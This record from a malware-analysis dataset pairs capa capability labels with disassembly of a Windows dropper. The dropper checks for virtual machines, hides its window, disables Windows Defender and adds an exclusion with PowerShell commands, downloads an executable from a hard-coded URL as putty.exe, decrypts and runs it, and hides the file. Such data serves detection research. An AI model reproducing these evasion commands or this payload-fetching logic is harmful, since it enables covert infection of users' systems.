joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001be34
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001be4a
mov al, 1
jmp 0x14001beaa
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001be5b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001bea8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019f88
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001bea8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001bea8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001bea8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001beaa
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400202c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400202e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400202e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001d2c
Capabilities:
Check if file exists
Get file attributes
Get system information on windows

Disassembly:
push rbp
push r12
push rdi
push rsi
push rbx
sub rsp, 0x190
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
movzx eax, word [rbp + 0x80]
cmp ax, 9
jne 0x140001d6c
mov r12d, 0
jmp 0x140001f75
lea rsi, [rbp - 0x40]
mov ebx, 5
mov rcx, rsi
lea rax, [rbp + 0xbf]
mov qword [rbp + 0xe8], rax
nop
nop
lea rax, [rbp + 0xbf]
mov r8, rax
lea rax, str.vmware
mov rdx, rax
call fcn.14009f9b0
lea rdi, [rsi + 0x20]
sub rbx, 1
lea rax, [rbp + 0xbf]
mov r8, rax
lea rax, str.virtualbox
mov rdx, rax
mov rcx, rdi
call fcn.14009f9b0
add rdi, 0x20
sub rbx, 1
lea rax, [rbp + 0xbf]
mov r8, rax
lea rax, [0x1400c5d31]
mov rdx, rax
mov rcx, rdi
call fcn.14009f9b0
add rdi, 0x20
sub rbx, 1
lea rax, [rbp + 0xbf]
mov r8, rax
lea rax, str.qemu
mov rdx, rax
mov rcx, rdi
call fcn.14009f9b0
add rdi, 0x20
sub rbx, 1
lea rax, [rbp + 0xbf]
mov r8, rax
lea rax, [0x1400c5d3a]
mov rdx, rax
mov rcx, rdi
call fcn.14009f9b0
lea rax, [rdi + 0x20]
sub rbx, 1
lea rdx, [rbp + 0xbf]
mov r8, rdx
lea rdx, str.hyperv
mov rcx, rax
call fcn.14009f9b0
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.140090de0
nop
lea rax, [rbp - 0x40]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x100]
add rax, 0xc0
mov qword [rbp + 0xf8], rax
jmp 0x140001f38
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xc0]
mov rdx, qword [rbp + 0xf0]
mov r8, rdx
lea rdx, str.C:WindowsSystem32drivers_
mov rcx, rax
call fcn.1400bcbb0
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0xc0]
lea r8, str..sys
mov rcx, rax
call fcn.1400bcb60
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140026fd0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
setne al
test al, al
je 0x140001f1a
mov r12d, 1
mov ebx, 0
jmp 0x140001f1f
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a01b0
cmp ebx, 1
jne 0x140001f52
add qword [rbp + 0x108], 0x20
mov rax, qword [rbp + 0x108]
cmp rax, qword [rbp + 0xf8]
jne 0x140001e94
mov r12d, 0
lea rbx, [rbp - 0x40]
add rbx, 0xc0
lea rax, [rbp - 0x40]
cmp rbx, rax
je 0x140001f74
sub rbx, 0x20
mov rcx, rbx
call fcn.1400a01b0
jmp 0x140001f5d
nop
mov eax, r12d
jmp 0x14000201f
add rsp, 0x190
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret

Function at 0x14000202d
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x14000205e
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002065
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.Disabling_Windows_Defender...
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
lea rax, str.powershell__NoProfile__ExecutionPolicy_Bypass__Command__Set_MpPreference__DisableRealtimeMonitoring__true__
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1400020ae
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, str.Downloading_file_from
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov rdx, rax
call fcn.1400bc7a0
mov rcx, rax
lea rax, str._to
mov rdx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [rbp + 0x28]
mov rdx, rax
call fcn.1400bc7a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
mov rax, qword [rbp + 0x28]
mov rcx, rax
call fcn.140026fd0
mov rbx, rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.140026fd0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jns 0x1400021a1
lea rax, str.Failed_to_download_file._HRESULT:
mov rdx, rax
mov rax, qword [0x1400cbc50]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov eax, dword [rbp - 4]
mov edx, eax
call fcn.140072590
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
mov ecx, 1
call fcn.14000d2f0
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x140002396
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x6d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x670], rcx
mov qword [rbp + 0x678], rdx
lea rax, str.Decrypting_and_executing_file
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [rbp + 0x670]
mov rdx, rax
call fcn.1400bc7a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
mov rdx, qword [rbp + 0x670]
lea rax, [rbp + 0x430]
mov r8d, 4
mov rcx, rax
call fcn.14008c150
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400abbb0
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.140021160
mov rdx, rax
lea rax, [rbp + 0x2a0]
add rax, 0x10
mov rcx, rax
call fcn.1400723c0
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
mov rcx, rax
call fcn.140028700
lea rax, [rbp + 0x260]
mov rcx, qword [rbp + 0x678]
lea rdx, [rbp + 0x280]
mov r8, rcx
mov rcx, rax
call fcn.140001c75
lea rax, [rbp + 0x647]
mov qword [rbp + 0x648], rax
nop
nop
lea rax, str.ProgramData
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdx, rax
lea rcx, [rbp + 0x647]
lea rax, [rbp + 0x620]
mov r8, rcx
mov rcx, rax
call fcn.14009f9b0
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x620]
lea r8, str.putty.exe
mov rcx, rax
call fcn.1400bcb60
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp + 0x647]
mov rcx, rax
call fcn.140090de0
nop
lea rdx, [rbp + 0x240]
lea rax, [rbp + 0x60]
mov r8d, 4
mov rcx, rax
call fcn.14008e690
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.140026fb0
mov rbx, rax
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.140026fd0
mov rdx, rax
lea rax, [rbp + 0x60]
mov r8, rbx
mov rcx, rax
call fcn.140070aa0
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.140026fd0
mov rcx, rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.14008ed50
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400ac680
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.14008c870
jmp 0x1400026eb
add rsp, 0x6d0
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400026f6
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
lea rax, str.Adding_Defender_exclusion_for
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov rdx, rax
call fcn.1400bc7a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
lea rax, [rbp - 0x20]
mov rdx, qword [rbp + 0x20]
mov r8, rdx
lea rdx, str.powershell__NoProfile__ExecutionPolicy_Bypass__Command__Add_MpPreference__ExclusionPath_
mov rcx, rax
call fcn.1400bcbb0
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
lea r8, [0x1400c5efa]
mov rcx, rax
call fcn.1400bcb60
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140026fd0
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a01b0
jmp 0x1400027ca
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x1400027d1
Capabilities:
Set file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
lea rax, str.Setting_file_attributes_to_hidden_for
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [rbp + 0x10]
mov rdx, rax
call fcn.1400bc7a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140026fd0
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
nop
add rsp, 0x20
pop rbp
ret
Function at 0x14000283b
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xb0]
call fcn.14000c740
call fcn.140001d2c
test al, al
je 0x140002864
mov ecx, 0
call fcn.14000d2f0
call fcn.14000202d
call fcn.140002065
lea rax, [rbp - 0x41]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 0x41]
lea rax, [rbp - 0x70]
mov r8, rdx
lea rdx, str.https:__cdn.nest.rip_uploads_d5762878_9c04_4cad_ab21_6b69af255340.exe
mov rcx, rax
call fcn.14009f9b0
lea rax, [rbp - 0x41]
mov rcx, rax
call fcn.140090de0
nop
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rax, str.ProgramData
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdx, rax
lea rcx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.14009f9b0
lea rax, [rbp - 0x90]
lea rdx, [rbp - 0x40]
lea r8, str.putty.exe
mov rcx, rax
call fcn.1400bcb60
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp - 0x11]
mov rcx, rax
call fcn.140090de0
nop
lea rdx, [rbp - 0x90]
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400020ae
lea rax, [rbp - 0x90]
lea rdx, [0x1400f4040]
mov rcx, rax
call fcn.1400021a9
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x90]
lea rdx, [0x1400f4040]
mov rcx, rax
call fcn.140002396
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400026f6
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400027d1
lea rax, str.Program_finished.
mov rdx, rax
mov rax, qword [0x1400cbc70]
mov rcx, rax
call fcn.1400bc4a0
mov rcx, rax
mov rax, qword [0x1400cbc80]
mov rdx, rax
call fcn.140072360
mov ebx, 0
lea rax, [rbp - 0x90]
mov rcx, rax
call fcn.1400a01b0
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400a01b0
mov eax, ebx
jmp 0x140002a22
add rsp, 0xb8
pop rbx
pop rbp
ret

Function at 0x14000c950
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140016630
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x14000c9c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400f40c4]
test esi, esi
mov rbx, rcx
jle 0x14000caf0
mov rax, qword [0x1400f40c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000ca0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000ca95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000c9f0
mov rcx, rbx
call fcn.14000d430
test rax, rax
mov rdi, rax
je 0x14000cb12
mov rax, qword [0x1400f40c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000d570
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400f40c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000caf7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000ca8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000caa0
add dword [0x1400f40c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400f40c8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000ca8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000c950
nop dword [rax]
xor esi, esi
jmp 0x14000ca18
mov rax, qword [0x1400f40c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14000c950
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14000c950
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000d080
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400f4120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400f4100]
test rbx, rbx
je 0x14000d0dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000d0d3
test rsi, rsi
je 0x14000d0d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000d0b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000d2f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000d328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000d330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x14000d300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000d328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000d330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000d310
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000d328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000d330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000d430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400cc270]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000d450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000d458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000d450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000d4ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000d4a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000d450
add rax, 0x28
cmp rax, r9
jne 0x14000d490
xor eax, eax
ret

Function at 0x14000d4b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400cc270]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000d4cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000d4d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000d4cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000d570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400cc270]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000d58f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000d598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140078d80
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.api_ms_win_crt_stdio_l1_1_0.dll__fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cmp eax, 0xffffffff
movsxd rbp, eax
je 0x140078dc8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x140078d9a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14008b7b0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
test rax, rax
mov rdi, rcx
je 0x14008b7d8
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea rsi, [rsp + 0x2c]
mov ebx, 4
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
test eax, eax
jle 0x14008b820
cdqe
add rsi, rax
sub rbx, rax
jne 0x14008b7f0
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x14008b82c
call rbp
cmp dword [rax], 4
je 0x14008b7f0
lea rcx, str.random_device_could_not_be_read
call fcn.1400c0730
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140097a00
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0x80000000
mov dword [rbp - 0x18], 0x7fffffff
mov qword [rbp - 8], 0
jmp 0x140097a92
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 8]
mov eax, dword [rax + rdx*4]
and eax, 0x80000000
mov ecx, eax
mov rax, qword [rbp - 8]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + rdx*4]
and eax, 0x7fffffff
or eax, ecx
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 8]
lea rdx, [rax + 0x18d]
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + rdx*4]
mov eax, dword [rbp - 0x24]
shr eax, 1
xor edx, eax
mov eax, dword [rbp - 0x24]
and eax, 1
test eax, eax
je 0x140097a79
mov eax, 0x9908b0df
jmp 0x140097a7e
mov eax, 0
xor eax, edx
mov ecx, eax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 8]
mov dword [rax + rdx*4], ecx
add qword [rbp - 8], 1
cmp qword [rbp - 8], 0xe2
jbe 0x140097a24
mov qword [rbp - 0x10], 0xe3
jmp 0x140097b14
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x10]
mov eax, dword [rax + rdx*4]
and eax, 0x80000000
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + rdx*4]
and eax, 0x7fffffff
or eax, ecx
mov dword [rbp - 0x20], eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax - 0xe3]
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + rdx*4]
mov eax, dword [rbp - 0x20]
shr eax, 1
xor edx, eax
mov eax, dword [rbp - 0x20]
and eax, 1
test eax, eax
je 0x140097afb
mov eax, 0x9908b0df
jmp 0x140097b00
mov eax, 0
xor eax, edx
mov ecx, eax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x10]
mov dword [rax + rdx*4], ecx
add qword [rbp - 0x10], 1
cmp qword [rbp - 0x10], 0x26e
jbe 0x140097aa6
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x9bc]
and eax, 0x80000000
mov edx, eax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax]
and eax, 0x7fffffff
or eax, edx
mov dword [rbp - 0x1c], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x630]
mov eax, dword [rbp - 0x1c]
shr eax, 1
xor edx, eax
mov eax, dword [rbp - 0x1c]
and eax, 1
test eax, eax
je 0x140097b61
mov eax, 0x9908b0df
jmp 0x140097b66
mov eax, 0
xor edx, eax
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x9bc], edx
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x9c0], 0
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140097b90
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov eax, dword [rbp + 0x18]
mov ecx, eax
call fcn.1400b43e0
mov rdx, qword [rbp + 0x10]
mov dword [rdx], eax
mov qword [rbp - 8], 1
jmp 0x140097c08
mov rax, qword [rbp - 8]
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + rdx*4]
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
shr eax, 0x1e
xor dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
imul eax, eax, 0x6c078965
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov ecx, eax
call fcn.1400b4410
add dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov ecx, eax
call fcn.1400b43e0
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 8]
mov dword [rdx + rcx*4], eax
add qword [rbp - 8], 1
cmp qword [rbp - 8], 0x26f
jbe 0x140097bb9
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x9c0], 0x270
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140097c60
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x9c0]
cmp rax, 0x26f
jbe 0x140097c8b
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140097a00
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x9c0]
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x10]
mov qword [rcx + 0x9c0], rdx
mov rdx, qword [rbp + 0x10]
mov eax, dword [rdx + rax*4]
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
shr eax, 0xb
xor dword [rbp - 4], eax
mov eax, dword [rbp - 4]
shl eax, 7
and eax, 0x9d2c5680
